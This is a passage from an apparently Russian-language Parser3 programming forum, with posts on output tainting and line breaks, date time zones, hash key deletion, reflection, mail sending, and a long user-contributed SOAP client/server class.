\
textarea (как в доке) вместо pre тоже канает, кстати. и view source -- тоже :)\
\
P.S. [url=/examples/tainting/]это[/url] читали?"
"82633","Да, я про <pre> забыл как-то совсем :-). Теперь всё ясно. Но. Вот я смотрю в код этой страницы - и вижу, что на этом форуме строки разбиваются всё же брейками :-).\
\
Как это реализовано?"
"82635","[code]@main[]\
$now[^date::create[2015-09-08T18:24:52+06:00]]\
^now.sql-string[]<br/>\
\
$now[^date::create[$now]]\
^now.sql-string[][/code]\
\
Безопасно копировать даты теперь можно только через ISO 8601:\
[code]$date[^date::create[^date.iso-string[]]][/code]"
"82636","[quote]теперь[/quote]\
\
Можно подумать, раньше было по другому. :) Было такое же поведение, дата при копировании приводится к текущей временной зоне, хотя это наверное и неправильно..."
"82637","[quote]Можно подумать, раньше было по другому.[/quote]\
\
Ну, пока не было поддержки ISO 8601 лично я поясами практически не пользовался.\
Мне почему-то казалось, что roll[TZ;…] только делал смещение и пояс в объекте даты не хранился.\
\
[quote]дата при копировании приводится к текущей временной зоне, хотя это наверное и неправильно[/quote]\
\
Считаю, что при копировании стоит сохранять пояс, а если он не указан — брать установленный по умолчанию.\
\
Но пока дате нельзя установить пояс при создании и считать после — остаётся только iso-string."
"82638","Предлагаю\
[code]^hash.delete[a;b;…][/code]\
трактовать как\
[code]^hash.delete[a]\
^hash.delete[b]\
^hash.delete[…][/code]\
\
Дабы использовать для множественного удаления ключей вместо\
[code]^hash.sub[\
	$.a[]\
	$.b[]\
	$.c[]\
][/code]"
"82639","Друзья, у нас есть код на парсере, который умеет через json забирать номенклатуру товаров для интернет-магазина (включая картинки). Нужно сделать ровно то же самое в виде плагина для wordpress. Я понимаю, что это не очень на тему форума, но вдруг тут найдется человек, который умеет вот в это во всё. Или просто в вордпресс, чтобы с нуля написать.\
Ну и вообще мы такого ищем чувака, чтобы вордпресс умел, темы, фронтенд-верстка.\
пишите, hwat@yandex.ru"
"82640","Бьюсь неделю уже.\
\
Задача.\
\
В БД написано:\
[b]в лесу[/b]\
[b]а href=\"bitrh.com\" родилась/а[/b]\
[b]ёлочка[/b]\
С угловыми скобками, разумеется.\
\
Надо получить в браузере текст в три строки и с активной ссылкой.\
\
[b]Как это сделать?![/b]\
\
Текст на http://www.parser.ru/examples/tainting/  не даёт вообще ничего: человек, описанный на главной странице \"парсера\", может прочесть его хоть тысячу раз без всякого результата: в частности, непонятно, во что он \"пачкает\" и распачкивает текст, видимый в сырце как текст. И совершенно неясно, почему [b]все[/b] разговоры про taint сводятся в итоге к предзаполнению форм, когда базовая задача проще пареной репы, вроде бы: выдать из БД текст со строками и рабочим HTML.\
\
В прошлый раз было предложено решение\
\
[b]<pre>^taint[html][$text]</pre>[/b]\
\
Оно не подходит, поскольку при нём не выполняется HTML, содержащийся в тексте. Другие перепробованные решения дают результат либо-либо: либо выполненный HTML, либо три строки.\
\
Как быть-то?!"
"82641","У вас есть html в БД, так?\
В этом html [b]не определены[/b] переносы строк средствами html (тег <br>, например).\
Вы хотите выполнить html, но при этом сохранить текстовые переносы.\
\
А не имеет решения, потому что браузер игнорирует текстовые переносы строк (если не указано обратное - <pre>code</pre>), и парсер тут не при чём."
"82642","...если вы не хотите менять данные в БД, либо так...\
\
[code]^some_text.replace[^taint[^#0A];<br>][/code]\
\
...либо так...\
\
[code].some_text a{\
	display: block;\
}[/code]"
"82643","Если ваш текст - это HTML, то в нем символ переноса #0A не является значимым, кроме внутри тэга <pre>, который является тэгом вывода форматированного [b]текста[/b]. Чтобы в вашем HTML переносы стали значимыми их надо заменить на тэг <br />"
"82644","Счастье выглядит так:\
\
[code]<div class=\"commenttext\">^matchHrefs[$thiscomment[^untaint{$topiccomments.text}]^thiscomment.replace[^taint[^#0A];<br>]]</div>[/code]\
\
В следующей жизни я пойму, в чём разница между #0A и ^taint[^#0A], если и в видимом тексте оно одинаково, и парсер их понимает как eq."
"82645","[code]@main[]\
$h[^hash::create[]]\
^parseData[$h;name.a.b.c;value1]\
^parseData[$h;name.a.b.d;value2]\
^parseData[$h;name0;value]\
^parseData[$h;;value]\
\
^dstop[$h]\
\
\
@parseData[data;field;value][locals;result]\
$parts[^field.split[.]]\
\
^if($parts > 1){\
	^parts.menu{\
		$field[$parts.piece]\
\
		^if(^parts.line[] < $parts){\
			^if(!^data.contains[$field]){\
				$data.$field[^hash::create[]]\
			}\
\
			$data[$data.$field]\
		}{\
			$data.$field[$value]\
		}\
	}\
}{\
	$data.$field[$value]\
}[/code]"
"82646","В данном случае ^taint[] лишний. Про taint можно почитать в документации, самое важное использование \"грязных\" данных в парсере на мой взгляд - автоматическое экранирование пользовательских данных при их использовании в SQL запросах."
"82647","У вас данные в БД одновременно plaintext и html. Такого в принципе не должно быть.\
Если у вас данные вносятся в БД через админку, то лучше в ней сделайте сразу конвертацию на уровне вставки/обновления и выборки для админки, а в БД должно быть уже html. Как минимум у вас будет целость данных в едином формате + производительность, зачем заниматься конвертацией каждый раз при выводе."
"82649","Имхо нужно вообще тогда уже радикально вкидываться в hash или для совместимости создать отдельно класс list/dict, (я где-то уже писал про это), он бы покрыл унифицированным подходом вообще все и хеши (и его неудобства) и таблицы как частный случай (список кортежей).\
\
При этом его надо поднавернуть, чтобы функций из коробки было не меньше, чем у класса list в GoLang."
"82650","[code]$sitemap[$mapstart$maptrio$clubusers$clubspheresandtopics$mapend]\
^sitemap.save[text;/sitemap.xml][/code]\
\
Wazzup?"
"82652","Плюс, при такой конкатенации в $sitemap пустая строка."
"82654","[b]Вопрос 1 (бытовой):[/b]\
(Не курил RFC) \
Какие-то еще (мета)поля, кроме стандартных для отправки e-mail (для подтерждения регистраций и т.п.) вы используете для того, чтобы почтовые сервисы лояльнее отнеслись к вашему письму.\
Есть какие-то \"полевые заметки\", советы?\
[code]\
^mail:send[\
$.from[Вася <vasya@hotmail.ru>] \
$.to[Петя <petya@hotmail.ru>] \
$.subject[Как у тебя дела? У меня - изумительно!]\
$.text[Text body] \
$.x-mailer[Parser3] \
]\
[/code]\
\
\
[b]Вопрос 2:[/b]\
Для улучшения борьбы со спамом, существует некая методика SPF,\
т.е. в DNS можно прописать доп.запись типа TXT\
с указанием, что для оправителя с такого-то домена, вот этот сервер с IP считатать годным.\
\
Но проблема в том, что хостинг спрятан за CDN (не только в целях дистрибуции и кеширования, но и как привентивная мера от ddos), а палить IP сервера, да и подсети - не хочется...да можно на почтовик выделить отдельный сервер, отдельный IP, и лучше вообще в другом ДЦ... но это дорогое удовольствие\
\
А вот сподручнее нет какого-то дешевого метода на скорую руку? \
\
и\
 \
[b]3 Вопрос:[/b]\
Как \"не сильно заморачиваясь\" реализовать фоновую отправку почты?\
Кто-то как-то делает? Потому, что в случае использования каких-то сторонних smtp с авторизацией, это значит внешний скрипт будет совершать сетевое соединение в реальном времени и парсер будет ждать завершение этого скрипта. \
\
Да на своем VDS можно и sendmail куда надо перенаправить и демона какого-то запустить, а вот на шареде как обыграть - приходят только костыли в голову: \
\
типа базы с готовыми на отправку письмами, которые\
читать по cron'у быстрее чем раз в 1 минуту не получится, а это долговато для пользователя (ждать например письма с регистрацией).\
значит акостылить раз в минуту запуск 4 скриптов со sleep 15 например..."
"82655","3. $.options[[URL=http://www.sendmail.org/~ca/email/doc8.12/op-sh-4.html#sh-4.5]-odd[/URL]]"
"82660","В Parser-2 была замечательная находка - options. Ee можно было бы реализовать через конструктор: \
\
[code]^hash::option[a|B|c][$.divider[|]]\
[/code]\
\
Разделитель по умолчанию - пробел! \
\
У меня в проекте хэш-option из строки создается 116 раз. Очень удобно - перечисляешь список полей в одну строку, например \
\
[code]$allowed_modules[^s2h[myrecords memories announcer tags comments populars]][/code]\
\
И конечно, вашу задачу это тоже решит: \
\
^хэш.sub[^hash::option[a b c]]"
"82661","И чем\
[code]^hash.sub[^hash::option[a b c]][/code]\
лучше\
[code]^hash.sub[$.a[] $.b[] $.c[]][/code]\
?\
\
Даже текущий неэлегантный случай короче и понятнее.\
\
Себе-то я давно написал оператор, который удаляет ключи списком.\
Речь о небольших улучшениях нативного метода."
"82663","В контексте пользовательских объектов reflection:is работает как положено, а нативных — нет.\
\
[code]@main[]\
$h[$.a[1]]\
hash foreach is junction: ^if(^reflection:is[foreach;junction;$h])[y;n]<br/>\
\
$test[^test::create[]]\
test foreach is junction: ^if(^reflection:is[foreach;junction;$test])[y;n]<br/>\
\
$test[^test::create[]]\
test feach is junction: ^if(^reflection:is[feach;junction;$test])[y;n]\
\
\
@CLASS\
test\
\
@create[]\
$self.data[^hash::create[]]\
$self.feach[^reflection:method[$self.data;foreach]]\
\
@foreach[][/code]\
\
Не должен ли он во всех случаях работать одинаково?"
"82664","is работает с полями объекта, в пользовательских объектах методы доступны как поля (к ним можно обратиться $o.method), а в хеше и таблице методы теперь можно только вызывать. Так что хочешь чтобы в хеше был foreach - запиши его туда. :)\
\
[code]$h[$.a[1] $.foreach{yes}][/code]"
"82665","Требуется универсальный способ определения наличия метода у объекта.\
\
[code]$def(^reflection:method[$object;$method] is junction)[/code] не работает если методы существуют в виде ссылок:\
[code]$self.foreach[^reflection:method[$self.data;foreach]][/code]\
[code]$def(^reflection:is[$method;junction;$object])[/code] не работает с нативными объектами так как ищет по полям, [code]$def($object.$method is junction)[/code] не работает из-за приоритета полей над методами в 3.4.4.\
\
Видимо, только комбинация:\
[code]$def(^reflection:is[$method;junction;$object] || ^reflection:method[$object;$method] is junction)[/code]"
"82666","Выкладываю код, т.к. не вижу, как тут файл прикрепить.)\
\
1. Код писался 10 месяцев назад и с тех пор не правился.\
2. Класс был изначально создан для своих целей, а не как универсальный инструмент для работы с SOAP.\
3. Тестирование проводилось на 3 разных структурах WDSL в режимах Клиент и Сервер. Тесты прошли успешно.\
4. Есть возможность получить ответ в случае ошибки (Fault).\
5. Для знатоков код покажется \"бредом сивой кобылы\", но я рад и тому, что удалось самому что-то сделать, что работает.)\
6. При наличии WSDL со структурой, где используются самописные типы или импорт типов данный класс вряд ли сработает, т.к. на момент написания такой функционал не был нужен.\
\
Сам класс:\
[code]########################################\
@CLASS\
SOAP\
\
\
\
########################################\
@SET_address[sValue]\
$sAddress[$sValue]\
\
\
\
########################################\
@GET_address[]\
$result[$sAddress]\
\
\
\
########################################\
@SET_user[sValue]\
$sUser[$sValue]\
\
\
\
########################################\
@GET_user[]\
$result[$sUser]\
\
\
\
########################################\
@SET_password[sValue]\
$sPassword[$sValue]\
\
\
\
########################################\
@GET_password[]\
$result[$sPassword]\
\
\
\
########################################\
@SET_charset[sValue]\
$sCharset[$sValue]\
\
\
\
########################################\
@GET_charset[]\
$result[$sCharset]\
\
\
\
########################################\
@create[hInput]\
	$self.user[$hInput.sUser]\
	$self.password[$hInput.sPassword]\
	$self.charset[^if(def $hInput.sCharset){$hInput.sCharset}{UTF-8}]\
\
\
\
########################################\
@loadURL[hInput][key;value]\
	$result[^curl:load[\
		$.mode[text]\
		$.timeout(60)\
		$.charset[$self.charset]\
		$.url[^taint[as-is][$hInput.sURL]]\
		$.userpwd[${self.user}:$self.password]\
		^if(def $hInput.hData){\
			^if(^hInput.hData.contains[postfields]){\
				$.post(true)\
			}\
			^hInput.hData.foreach[key;value]{\
				$.[$key][$value]\
			}\
		}\
		$.ssl_verifypeer[]\
	]]\
\
\
\
########################################\
@sendRequest[hInput][fFile]\
	$fFile[^self.loadURL[\
		$.sURL[$self.address]\
		$.hData[\
			$.postfields[^taint[as-is][^if(def $hInput.sRequest){$hInput.sRequest}{^self.getRequest[$hInput.hWSDL;$hInput.sOperation;$hInput.hRequest]}]]\
		]\
	]]\
	$result[^self.getResponse[$hInput.hWSDL;$fFile.text]]\
\
\
\
########################################\
@parseWSDL[sWSDL;bLoad;bLocal][fFile;xdData;hWSDL;key;value;sNodeName;key1;value1;key2;value2;sNodeName1;key3;value3]\
	$bLoad($bLoad eq \"1\")\
	$bLocal($bLocal eq \"1\")\
	^if($bLoad){\
		^if(!$bLocal){\
			$fFile[^self.loadURL[\
				$.sURL[$sWSDL]\
				$.hData[\
					$.postfields[]\
				]\
			]]\
			$xdData[^xdoc::create{^taint[as-is][$fFile.text]}]\
		}{\
			$xdData[^xdoc::load[$sWSDL]]\
		}\
	}{\
		$xdData[^xdoc::create{^taint[as-is][$sWSDL]}]\
	}\
	$hWSDL[\
		$.definitions[^hash::create[]]\
		$.service[^hash::create[]]\
		$.binding[^hash::create[]]\
		$.porttype[^hash::create[]]\
		$.message[^hash::create[]]\
		$.types[^hash::create[]]\
	]\
	^if(^xdData.hasChildNodes[] && ^xdData.childNodes.0.nodeName.lower[] eq \"definitions\" && ^xdData.childNodes.0.hasChildNodes[]){\
		$hWSDL.definitions.ns[^self.getNS[$xdData.childNodes.0]]\
		^xdData.childNodes.0.attributes.foreach[key;value]{\
			$hWSDL.definitions.[$key][$value.nodeValue]\
		}\
		^xdData.childNodes.0.childNodes.foreach[;value]{\
			^if($value.nodeType==1 && ^value.hasChildNodes[]){\
				$sNodeName[^value.nodeName.lower[]]\
				^switch[$sNodeName]{\
					^case[types]{\
						^value.childNodes.foreach[;value1]{\
							^if($value1.nodeType==1 && ^value1.nodeName.lower[] eq \"schema\" && ^value1.hasChildNodes[]){\
								$hWSDL.types.[$value1.attributes.targetNamespace.nodeValue][\
									$.ns[^self.getNS[$value1]]\
									$.prefix[$value1.prefix]\
									$.type[^hash::create[]]\
									$.element[^hash::create[]]\
								]\
								^value1.childNodes.foreach[;value2]{\
									^if($value2.nodeType==1 && ^value2.hasChildNodes[]){\
										$sNodeName1[^value2.nodeName.lower[]]\
										^switch[$sNodeName1]{\
											^case[complextype]{\
												$hWSDL.types.[$value1.attributes.targetNamespace.nodeValue].type.[$value2.attributes.name.nodeValue][\
													$.prefix[$value2.prefix]\
													$.field[^self.getComplexType[$value2]]\
												]\
											}\
											^case[element]{\
												^value2.childNodes.foreach[;value3]{\
													^if($value3.nodeType==1 && ^value3.nodeName.lower[] eq \"complextype\" && ^value3.hasChildNodes[]){\
														$hWSDL.types.[$value1.attributes.targetNamespace.nodeValue].element.[$value2.attributes.name.nodeValue][\
															$.prefix[$value3.prefix]\
															$.field[^self.getComplexType[$value3]]\
														]\
													}\
												}\
											}\
										}\
									}\
								}\
							}\
						}\
					}\
					^case[message]{\
						$hWSDL.message.[$value.attributes.name.nodeValue][^hash::create[]]\
						^value.childNodes.foreach[;value1]{\
							^if($value1.nodeType==1 && ^value1.nodeName.lower[] eq \"part\"){\
								$hWSDL.message.[$value.attributes.name.nodeValue].[$value1.attributes.name.nodeValue][\
									$.element[$value1.attributes.element.nodeValue]\
									$.type[$value1.attributes.type.nodeValue]\
									$.data_type[^if(def $value1.attributes.element.nodeValue){element}{type}]\
									$.part[1]\
								]\
							}\
						}\
					}\
					^case[porttype]{\
						$hWSDL.porttype.[$value.attributes.name.nodeValue][^hash::create[]]\
						^value.childNodes.foreach[;value1]{\
							^if($value1.nodeType==1 && ^value1.nodeName.lower[] eq \"operation\" && ^value1.hasChildNodes[]){\
								$hWSDL.porttype.[$value.attributes.name.nodeValue].[$value1.attributes.name.nodeValue][^hash::create[]]\
								^value1.childNodes.foreach[;value2]{\
									^if($value2.nodeType==1){\
										$hWSDL.porttype.[$value.attributes.name.nodeValue].[$value1.attributes.name.nodeValue].[$value2.nodeName][$value2.attributes.message.nodeValue]\
									}\
								}\
							}\
						}\
					}\
					^case[binding]{\
						$hWSDL.binding.[$value.attributes.name.nodeValue][\
							$.porttype[$value.attributes.type.nodeValue]\
							$.operation[^hash::create[]]\
						]\
						^value.childNodes.foreach[;value1]{\
							^if($value1.nodeType==1 && ^value1.nodeName.lower[] eq \"operation\" && ^value1.hasChildNodes[]){\
								^value1.childNodes.foreach[;value2]{\
									^if($value2.nodeType==1 && ^value2.nodeName.lower[] eq \"operation\"){\
										$hWSDL.binding.[$value.attributes.name.nodeValue].operation.[$value1.attributes.name.nodeValue][$value2.attributes.soapAction.nodeValue]\
									}\
								}\
							}\
						}\
					}\
					^case[service]{\
						$hWSDL.service.name[$value.attributes.name.nodeValue]\
						$hWSDL.service.port[^hash::create[]]\
						^value.childNodes.foreach[;value1]{\
							^if($value1.nodeType==1 && ^value1.nodeName.lower[] eq \"port\"){\
								$hWSDL.service.port.[$value1.attributes.name.nodeValue][\
									$.binding[$value1.attributes.binding.nodeValue]\
								]\
								^value1.childNodes.foreach[;value2]{\
									^if(^value2.nodeName.lower[] eq \"address\"){\
										$hWSDL.service.port.[$value1.attributes.name.nodeValue].prefix[$value2.prefix]\
										$hWSDL.service.port.[$value1.attributes.name.nodeValue].address[$value2.attributes.location.nodeValue]\
										^if(^hWSDL.service.port._count[]==1){\
											$self.address[^taint[as-is][$value2.attributes.location.nodeValue]]\
										}\
									}\
								}\
							}\
						}\
					}\
				}\
			}\
		}\
	}\
	$result[$hWSDL]\
\
\
\
########################################\
@getNS[xnData;sPrefix;sNodeName][hData;xdTemp;xnTemp;sTemp;tTemp]\
	$hData[^hash::create[]]\
	$xdTemp[^xdoc::create[uuid]]\
	$xnTemp[^xdTemp.documentElement.appendChild[$xnData]]\
	$sTemp[^xdTemp.string[]]\
	$sTemp[^sTemp.match[<^if(def $xnData.prefix){${xnData.prefix}:}${xnData.nodeName}([^^>]+?)>][i]{\
		$tTemp[^match.1.match[xmlns:([^^=]+?)=\"([^^\"]+?)\"][gi]]\
		^tTemp.sort{$tTemp.2}[asc]\
		^tTemp.menu{\
			^if($tTemp.1 ne \"xs\"){\
				$hData.[$tTemp.1][$tTemp.2]\
			}\
		}\
	}]\
	$result[$hData]\
\
\
\
########################################\
@getComplexType[xdData][key;value;hData;key1;value1;key2;value2]\
	^xdData.childNodes.foreach[;value]{\
		^if($value.nodeType==1 && ^value.hasChildNodes[]){\
			$hData[^hash::create[]]\
			^value.childNodes.foreach[;value1]{\
				^if($value1.nodeType==1 && ^value1.nodeName.lower[] eq \"element\"){\
					$hData.[$value1.attributes.name.nodeValue][\
						$.prefix[$value1.prefix]\
						^value1.attributes.foreach[key2;value2]{\
							^if($key2 ne \"name\"){\
								$.[$key2][$value2.nodeValue]\
							}\
						}\
					]\
				}\
			}\
		}\
	}\
	$result[$hData]\
\
\
\
########################################\
@getOperationType[sAction;sActionSide]\
	$result[^switch[$sAction]{\
		^case[request]{^switch[$sActionSide]{\
			^case[server]{output}\
			^case[DEFAULT]{input}\
		}}\
		^case[response]{^switch[$sActionSide]{\
			^case[server]{input}\
			^case[DEFAULT]{output}\
		}}\
	}]\
\
\
\
########################################\
@getRequest[hWSDL;sOperation;hRequest;sActionSide][hNS;iNum;sHTML;sOperationType;key;value;tTemp;key1;value1;tField;key2;value2]\
	$hNS[^hash::create[]]\
	$iNum(0)\
	$sHTML[<?xml version=\"1.0\" encoding=\"$self.charset\"?><SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"^hWSDL.definitions.ns.foreach[key;value]{ xmlns:^iNum.inc[]$hNS.[$value][ns$iNum]ns$iNum=\"$value\"}><SOAP-ENV:Body>]\
	$sOperationType[^getOperationType[request;$sActionSide]]\
	^hWSDL.porttype.foreach[key;value]{\
		^if(^value.contains[$sOperation]){\
			$tTemp[^value.[$sOperation].[$sOperationType].split[:;h]]\
			^if(^hWSDL.message.contains[$tTemp.1]){\
				$sHTML[$sHTML<$hNS.[$hWSDL.definitions.ns.[$tTemp.0]]:$sOperation>]\
				^hWSDL.message.[$tTemp.1].foreach[key1;value1]{\
					$tField[^value1.[$value1.data_type].split[:;h]]\
					^if(^hWSDL.types.contains[$hWSDL.definitions.ns.[$tTemp.0]] && ^hWSDL.types.[$hWSDL.definitions.ns.[$tTemp.0]].contains[$value1.data_type] && ^hWSDL.types.[$hWSDL.definitions.ns.[$tTemp.0]].[$value1.data_type].contains[$tField.1]){\
						^if($value1.data_type eq \"type\"){\
							$sHTML[$sHTML<$key1>]\
						}\
						^hWSDL.types.[$hWSDL.definitions.ns.[$tTemp.0]].[$value1.data_type].[$tField.1].field.foreach[key2;value2]{\
							$sHTML[^self.getRequestFieldValue[$sHTML;$hWSDL;^if(!^value2.contains[minOccurs]){$hRequest}{$hRequest.[$key2]};$hNS;$hWSDL.definitions.ns.[$tTemp.0];$hWSDL.types.[$hWSDL.definitions.ns.[$tTemp.0]].ns;$key2;$value2]]\
						}\
						^if($value1.data_type eq \"type\"){\
							$sHTML[$sHTML</$key1>]\
						}\
					}{\
						$sHTML[^self.getRequestFieldValue[$sHTML;$hWSDL;$hRequest;$hNS;$hWSDL.definitions.ns.[$tTemp.0];;$key1;$value1]]\
					}\
				}\
				$sHTML[$sHTML</$hNS.[$hWSDL.definitions.ns.[$tTemp.0]]:$sOperation>]\
				^break[]\
			}\
			^break[]\
		}\
	}\
	$result[$sHTML</SOAP-ENV:Body></SOAP-ENV:Envelope>]\
\
\
\
########################################\
@getRequestFieldValue[sHTML;hWSDL;hRequest;hNS;sFieldNS;hFieldNS;sField;hField][tField;sNS;key;value;key1;value1;sTemp]\
	$tField[^hField.type.split[:;h]]\
	$sNS[$hFieldNS.[$tField.0]]\
	^if(^hWSDL.types.contains[$sNS] && ^hWSDL.types.[$sNS].contains[type] && ^hWSDL.types.[$sNS].type.contains[$tField.1]){\
		^if(!^hField.contains[minOccurs]){\
			$hRequest[\
				$.1[$hRequest.[$sField]]\
			]\
		}\
		^if(def $hRequest){\
			^hRequest.foreach[;value]{\
				$sHTML[$sHTML<$hNS.[$sFieldNS]:$sField>]\
				^hWSDL.types.[$sNS].type.[$tField.1].field.foreach[key1;value1]{\
					$sHTML[^self.getRequestFieldValue[$sHTML;$hWSDL;$value;$hNS;$sNS;$hWSDL.types.[$sNS].ns;$key1;$value1]]\
				}\
				$sHTML[$sHTML</$hNS.[$sFieldNS]:$sField>]\
			}\
		}\
	}{\
		^if(!($hRequest.[$sField] is hash)){\
			$hRequest.[$sField][\
				$.1[$hRequest.[$sField]]\
			]\
		}\
		$sTemp[^if(!^hField.contains[part]){$hNS.[$sFieldNS]:}]\
		$sHTML[${sHTML}^hRequest.[$sField].foreach[;value]{^if(def $value){<${sTemp}$sField>^switch[$tField.1]{\
			^case[boolean]{^if($value){true}{false}}\
			^case[date]{^formatDate[$value;1;0]}\
			^case[dateTime]{^formatDate[$value;1]}\
			^case[decimal]{^value.format[%.2f]}\
			^case[integer;int]{^value.int(0)}\
			^case[string]{$value}\
		}</${sTemp}$sField>}(!^hField.contains[minOccurs]){<${sTemp}$sField xsi:nil=\"true\"/>}}]\
	}\
	$result[$sHTML]\
\
\
\
########################################\
@getResponse[hWSDL;sHTML;sActionSide][hTemp;fFile;key;value;sTemp;xdData;sOperationType;hData;xnData;hNS;sOperation;sType;tTemp;key1;value1;tField;key2;value2]\
	$hTemp[^hash::create[]]\
	$fFile[^file::create[text;temp.txt;$sHTML;\
		$.charset[$self.charset]\
	]]\
	$sHTML[^fFile.text.match[<\\s*\\?\\s*xml(?:(?!\\s*\\?\\s*>).+?)\\s*\\?\\s*>][i]{}]\
	^hWSDL.definitions.ns.foreach[key;value]{\
		$sTemp[^sHTML.match[^^\\s*<([^^>]+?)>][]{\
			^if(^match.1.pos[xmlns:$key=]==-1){\
				$hTemp.[$value][$key]\
				$sHTML[^sHTML.match[\\s*<([^^>]+?)>][]{<$match.1 xmlns:$key=\"$value\">}]\
			}\
		}]\
	}\
	$sHTML[^sHTML.match[ xmlns=\"([^^\"]+?)\"][gi]{ xmlns=\"$hTemp.[$match.1]:$match.1\"}]\
	$xdData[^xdoc::create{<?xml version=\"1.0\" encoding=\"$self.charset\"?>^taint[as-is][$sHTML]}]\
	$sOperationType[^getOperationType[response;$sActionSide]]\
	$hData[^hash::create[]]\
	^xdData.childNodes.0.childNodes.foreach[;value]{\
		^if($value.nodeType==1 && ^value.hasChildNodes[] && $value.nodeName eq \"Body\"){\
			$xnData[$value]\
			$hTemp[^xnData.getElementsByTagName[Fault]]\
			^if(def $hTemp && $hTemp.0.nodeType==1 && ^hTemp.0.hasChildNodes[]){\
				$hData._ERROR[^hash::create[]]\
				^hTemp.0.childNodes.foreach[;value1]{\
					^if($value1.nodeType==1){\
						$hData._ERROR.[$value1.nodeName][$value1.childNodes.0.nodeValue]\
					}\
				}\
			}{\
				$hNS[^self.getNS[$xdData.childNodes.0]]\
				^xnData.childNodes.foreach[;value]{\
					^if($value.nodeType==1){\
						^hNS.add[^self.getNS[$value]]\
						$sOperation[^value.nodeName.match[Response^$][im]{}]\
						$sType[$hNS.[$value.prefix]]\
						^hWSDL.porttype.foreach[key;value]{\
							^if(^value.contains[$sOperation]){\
								$tTemp[^value.[$sOperation].[$sOperationType].split[:;h]]\
								^if(^hWSDL.message.contains[$tTemp.1]){\
									^hWSDL.message.[$tTemp.1].foreach[key1;value1]{\
										$tField[^value1.[$value1.data_type].split[:;h]]\
										^if(^hWSDL.types.contains[$sType] && ^hWSDL.types.[$sType].contains[$value1.data_type] && ^hWSDL.types.[$sType].[$value1.data_type].contains[$tField.1]){\
											^hWSDL.types.[$sType].[$value1.data_type].[$tField.1].field.foreach[key2;value2]{\
												^self.getResponseFieldValue[$hData;$hWSDL;^xnData.getElementsByTagName[$key2];$hWSDL.types.[$sType].ns;$key2;$value2]\
											}\
										}{\
											^self.getResponseFieldValue[$hData;$hWSDL;^xnData.getElementsByTagName[$key1];$hWSDL.types.[$sType].ns;$key1;$value1]\
										}\
									}\
									^break[]\
								}\
							}\
						}\
					}\
				}\
			}\
		}\
	}\
	$result[$hData]\
\
\
\
########################################\
@getResponseFieldValue[hData;hWSDL;hResponse;hFieldNS;sField;hField][tField;sNS;key;value;key1;value1;hTemp;iTemp;iNum;Temp;hKey;hValue]\
	$tField[^hField.type.split[:;h]]\
	$sNS[$hFieldNS.[$tField.0]]\
	^if(^hWSDL.types.contains[$sNS] && ^hWSDL.types.[$sNS].contains[type] && ^hWSDL.types.[$sNS].type.contains[$tField.1]){\
		$hData.[$sField][^hash::create[]]\
		^hResponse.foreach[key;value]{\
			^hWSDL.types.[$sNS].type.[$tField.1].field.foreach[key1;value1]{\
				^if(^hField.contains[minOccurs]){\
					^if(!def $hData.[$sField].[$key]){\
						$hData.[$sField].[$key][^hash::create[]]\
					}\
					$hTemp[$hData.[$sField].[$key]]\
				}{\
					$hTemp[$hData.[$sField]]\
				}\
				^self.getResponseFieldValue[$hTemp;$hWSDL;^value.getElementsByTagName[$key1];$hWSDL.types.[$sNS].ns;$key1;$value1]\
			}\
		}\
	}{\
		$iTemp(^hResponse._count[])\
		$iNum(0)\
		^hResponse.foreach[;value]{\
			^if(def $value.childNodes.0.nodeValue || $value.childNodes.0.nodeType==1){\
				^switch[$tField.1]{\
					^case[boolean]{\
						$Temp($value.childNodes.0.nodeValue eq \"true\")\
					}\
					^case[date]{\
						$Temp[^formatDate[$value.childNodes.0.nodeValue;1;0]]\
					}\
					^case[dateTime]{\
						$Temp[^formatDate[$value.childNodes.0.nodeValue;1]]\
					}\
					^case[decimal]{\
						$Temp(^value.childNodes.0.nodeValue.format[%.2f])\
					}\
					^case[integer;int]{\
						$Temp(^value.childNodes.0.nodeValue.int(0))\
					}\
					^case[string]{\
						$Temp[$value.childNodes.0.nodeValue]\
					}\
					^case[Array]{\
						$Temp[^hash::create[]]\
						^if(^value.childNodes.0.hasChildNodes[]){\
							^value.childNodes.0.childNodes.foreach[;value1]{\
								^if(^value1.hasChildNodes[]){\
									$hKey[^value1.getElementsByTagName[key]]\
									$hValue[^value1.getElementsByTagName[value]]\
									$Temp.[$hKey.0.childNodes.0.nodeValue][$hValue.0.childNodes.0.nodeValue]\
								}\
							}\
						}\
					}\
				}\
				^if(!^hField.contains[minOccurs]){\
					^if($Temp is bool || $Temp is int || $Temp is double){\
						$hData.[$sField]($Temp)\
					}{\
						$hData.[$sField][$Temp]\
					}\
				}{\
					^iNum.inc[]\
					^if($iNum==1){\
						$hData.[$sField][^hash::create[]]\
					}\
					^if($Temp is bool || $Temp is int || $Temp is double){\
						$hData.[$sField].[$iNum]($Temp)\
					}{\
						$hData.[$sField].[$iNum][$Temp]\
					}\
				}\
			}\
		}\
	}\
	$result[][/code]\
Использование:\
	Клиент:\
[code]	^use[soap.p]\
#	user и password использовались для базовой авторизации\
	$oSOAP[^SOAP::create[\
		$.sUser[user]\
		$.sPassword[password]\
		$.sCharset[UTF-8]\
	]]\
#	есть возможность парсить WSDL на локальном диске или на удаленном ресурсе по ссылке\
	$hWSDL[^oSOAP.parseWSDL[wsdl.xml;1;1]]\
#	указываем название функции, которую надо вызвать, и \"сторону\" (клиент или сервер)\
#	hRequest - структура с данными (хеш), которые надо передать серверу\
	$sHTML[^oSOAP.getRequest[$hWSDL;название функции;$hRequest;client]]\
#	посылаем серверу сформированный запрос и получаем ответ в виде хеша\
	$hData[^oSOAP.sendRequest[\
		$.hWSDL[$hWSDL]\
		$.sOperation[название функции]\
		$.sRequest[$sHTML]\
	]][/code]\
\
	Сервер:\
[code]	^use[soap.p]\
#	user и password использовались для базовой авторизации\
	$oSOAP[^SOAP::create[\
		$.sUser[user]\
		$.sPassword[password]\
		$.sCharset[UTF-8]\
	]]\
#	есть возможность парсить WSDL на локальном диске или на удаленном ресурсе по ссылке\
	$hWSDL[^oSOAP.parseWSDL[wsdl.xml;1;1]]\
#	принимаем от клиента запрос и получаем хеш с данными для обработки\
	$hData[^oSOAP.getResponse[$hWSDL;^taint[as-is][$request:body];server]]\
#	формируем хеш для ответа\
	$hRequest[\
		$...[...]\
	]\
#	возвращаем результат клиенту в \"понятном\" ему виде\
	$result[^oSOAP.getRequest[$hWSDL;название функции;$hRequest;server]][/code]"
"82667","При наличии у объекта геттера по умолчанию проверка на is junction/method несуществующего свойства возвращает истину.\
\
[code]@main[]\
